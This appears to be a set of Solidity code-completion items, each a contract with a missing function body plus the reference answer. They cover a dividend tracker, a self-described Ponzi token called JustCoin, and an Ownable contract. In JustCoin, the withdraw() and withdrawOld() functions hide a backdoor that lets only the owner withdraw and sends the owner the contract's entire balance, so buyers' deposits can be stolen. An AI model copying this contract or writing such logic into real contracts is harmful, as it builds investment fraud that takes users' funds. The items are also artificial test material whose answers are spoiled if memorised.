"BFYC_Dividend_Tracker: minimumTokenBalanceForDividends already the value of 'newValue'."); minimumTokenBalanceForDividends = newValue; } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 60 && newClaimWait <= 86400, "BFYC_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "BFYC_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if(index >= 0) { if(uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } <FILL_FUNCTION> function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if(lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if(excludedFromDividends[account]) { return; } if(newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true); } function process(uint256 gas) public onlyOwner returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if(numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while(gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if(_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if(canAutoClaim(lastClaimTimes[account])) { if(processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if(gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if(amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } }
if(index >= tokenHoldersMap.size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account);
function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256)
function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256)
4559
JustCoin
sell
contract JustCoin { // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000; // 2^64 // CRR = 80% // CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio). // For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement int constant crr_n = 4; // CRR numerator int constant crr_d = 5; // CRR denominator // The price coefficient. Chosen such that at 1 token total supply // the amount in reserve is 0.8 ether and token price is 1 Ether. int constant price_coeff = -0x678adeacb985cb06; // Typical values that we have to declare. string constant public name = "JustCoin"; string constant public symbol = "JustD"; uint8 constant public decimals = 18; // Array between each address and their number of tokens. mapping(address => uint256) public tokenBalance; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerToken; // Current contract balance in Ether uint256 public contractBalance; address owner; function JustCoin() public { owner = msg.sender; } // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function balanceOf(address _owner) public constant returns (uint256 balance) { return tokenBalance[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); require(msg.sender == owner); owner.transfer(this.balance); msg.sender.transfer(balance); } // Converts the Ether accrued as dividends back into EPY tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function reinvestDividends() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint value_ = (uint) (balance); // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) var res = reserve() - balance; // 5% of the total Ether sent is used to pay existing holders. var fee = div(value_, 20); // The amount of Ether used to purchase new tokens for the caller. var numEther = value_ - fee; // The number of tokens which can be purchased for numEther. var numTokens = calculateDividendTokens(numEther, balance); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellMyTokens() public { var balance = balanceOf(msg.sender); sell(balance); } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellMyTokens(); withdraw(); } // Gatekeeper function to check if the amount of Ether being sent isn't either // too small or too large. If it passes, goes direct to buy(). function fund() payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. if (msg.value > 0.000001 ether) { contractBalance = add(contractBalance, msg.value); buy(); } else { revert(); } } // Function that returns the (dynamic) price of buying a finney worth of tokens. function buyPrice() public constant returns (uint) { return getTokensForEther(1 finney); } // Function that returns the (dynamic) price of selling a single token. function sellPrice() public constant returns (uint) { var eth = getEtherForTokens(1 finney); var fee = div(eth, 10); return eth - fee; } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor; } // Version of withdraw that extracts the dividends and sends the Ether to the caller. // This is only used in the case when there is no transaction data, and that should be // quite rare unless interacting directly with the smart contract. function withdrawOld(address to) public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); require(msg.sender == owner); owner.transfer(this.balance); to.transfer(balance); } // Internal balance function, used to calculate the dynamic reserve value. function balance() internal constant returns (uint256 amount) { // msg.value is the amount of Ether sent by the transaction. return contractBalance - msg.value; } function buy() internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // 5% of the total Ether sent is used to pay existing holders. var fee = div(msg.value, 20); // The amount of Ether used to purchase new tokens for the caller. var numEther = msg.value - fee; // The number of tokens which can be purchased for numEther. var numTokens = getTokensForEther(numEther); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function sell(uint256 amount) internal {<FILL_FUNCTION_BODY> } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount) { return sub(balance(), ((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor)); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? var reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalSupply) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n)); } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); var z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } // The below are safemath implementations of the four arithmetic operators // designed to explicitly prevent over- and under-flows of integer values. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // This allows you to buy tokens by sending Ether directly to the smart contract // without including any transaction data (useful for, say, mobile wallet apps). function () payable public { // msg.value is the amount of Ether sent by the transaction. if (msg.value > 0) { fund(); } else { withdrawOld(msg.sender); } } }
contract JustCoin { // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000; // 2^64 // CRR = 80% // CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio). // For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement int constant crr_n = 4; // CRR numerator int constant crr_d = 5; // CRR denominator // The price coefficient. Chosen such that at 1 token total supply // the amount in reserve is 0.8 ether and token price is 1 Ether. int constant price_coeff = -0x678adeacb985cb06; // Typical values that we have to declare. string constant public name = "JustCoin"; string constant public symbol = "JustD"; uint8 constant public decimals = 18; // Array between each address and their number of tokens. mapping(address => uint256) public tokenBalance; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerToken; // Current contract balance in Ether uint256 public contractBalance; address owner; function JustCoin() public { owner = msg.sender; } // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function balanceOf(address _owner) public constant returns (uint256 balance) { return tokenBalance[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); require(msg.sender == owner); owner.transfer(this.balance); msg.sender.transfer(balance); } // Converts the Ether accrued as dividends back into EPY tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function reinvestDividends() public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint value_ = (uint) (balance); // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) var res = reserve() - balance; // 5% of the total Ether sent is used to pay existing holders. var fee = div(value_, 20); // The amount of Ether used to purchase new tokens for the caller. var numEther = value_ - fee; // The number of tokens which can be purchased for numEther. var numTokens = calculateDividendTokens(numEther, balance); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellMyTokens() public { var balance = balanceOf(msg.sender); sell(balance); } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellMyTokens(); withdraw(); } // Gatekeeper function to check if the amount of Ether being sent isn't either // too small or too large. If it passes, goes direct to buy(). function fund() payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. if (msg.value > 0.000001 ether) { contractBalance = add(contractBalance, msg.value); buy(); } else { revert(); } } // Function that returns the (dynamic) price of buying a finney worth of tokens. function buyPrice() public constant returns (uint) { return getTokensForEther(1 finney); } // Function that returns the (dynamic) price of selling a single token. function sellPrice() public constant returns (uint) { var eth = getEtherForTokens(1 finney); var fee = div(eth, 10); return eth - fee; } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor; } // Version of withdraw that extracts the dividends and sends the Ether to the caller. // This is only used in the case when there is no transaction data, and that should be // quite rare unless interacting directly with the smart contract. function withdrawOld(address to) public { // Retrieve the dividends associated with the address the request came from. var balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Send the dividends to the address that requested the withdraw. contractBalance = sub(contractBalance, balance); require(msg.sender == owner); owner.transfer(this.balance); to.transfer(balance); } // Internal balance function, used to calculate the dynamic reserve value. function balance() internal constant returns (uint256 amount) { // msg.value is the amount of Ether sent by the transaction. return contractBalance - msg.value; } function buy() internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); // msg.sender is the address of the caller. var sender = msg.sender; // 5% of the total Ether sent is used to pay existing holders. var fee = div(msg.value, 20); // The amount of Ether used to purchase new tokens for the caller. var numEther = msg.value - fee; // The number of tokens which can be purchased for numEther. var numTokens = getTokensForEther(numEther); // The buyer fee, scaled by the scaleFactor variable. var buyerFee = fee * scaleFactor; // Check that we have tokens in existence (this should always be true), or // else you're gonna have a bad time. if (totalSupply > 0) { // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. var bonusCoEff = (scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther) * (uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. var holderReward = fee * bonusCoEff; buyerFee -= holderReward; // Fee is distributed to all existing token holders before the new tokens are purchased. // rewardPerShare is the amount gained per token thanks to this buy-in. var rewardPerShare = holderReward / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken += rewardPerShare; } // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalSupply = add(totalSupply, numTokens); // Assign the tokens to the balance of the buyer. tokenBalance[sender] = add(tokenBalance[sender], numTokens); // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[sender] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } <FILL_FUNCTION> // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount) { return sub(balance(), ((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor)); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply); } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? var reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalSupply) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n)); } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); var z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } // The below are safemath implementations of the four arithmetic operators // designed to explicitly prevent over- and under-flows of integer values. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // This allows you to buy tokens by sending Ether directly to the smart contract // without including any transaction data (useful for, say, mobile wallet apps). function () payable public { // msg.value is the amount of Ether sent by the transaction. if (msg.value > 0) { fund(); } else { withdrawOld(msg.sender); } } }
// Calculate the amount of Ether that the holders tokens sell for at the current sell price. var numEthersBeforeFee = getEtherForTokens(amount); // 5% of the resulting Ether is used to pay remaining holders. var fee = div(numEthersBeforeFee, 20); // Net Ether for the seller after the fee has been subtracted. var numEthers = numEthersBeforeFee - fee; // *Remove* the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank. totalSupply = sub(totalSupply, amount); // Remove the tokens from the balance of the buyer. tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount); // Update the payout array so that the seller cannot claim future dividends unless they buy back in. // First we compute how much was just paid out to the seller... var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor)); // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. var etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. var rewardPerShare = etherFee / totalSupply; // The Ether value per token is increased proportionally. earningsPerToken = add(earningsPerToken, rewardPerShare); }
function sell(uint256 amount) internal
// Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function sell(uint256 amount) internal
20141
Ownable
transferOwnership
contract Ownable { string public constant NOT_CURRENT_OWNER = "018001"; string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002"; address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, NOT_CURRENT_OWNER); _; } function transferOwnership( address _newOwner ) public onlyOwner {<FILL_FUNCTION_BODY> } }
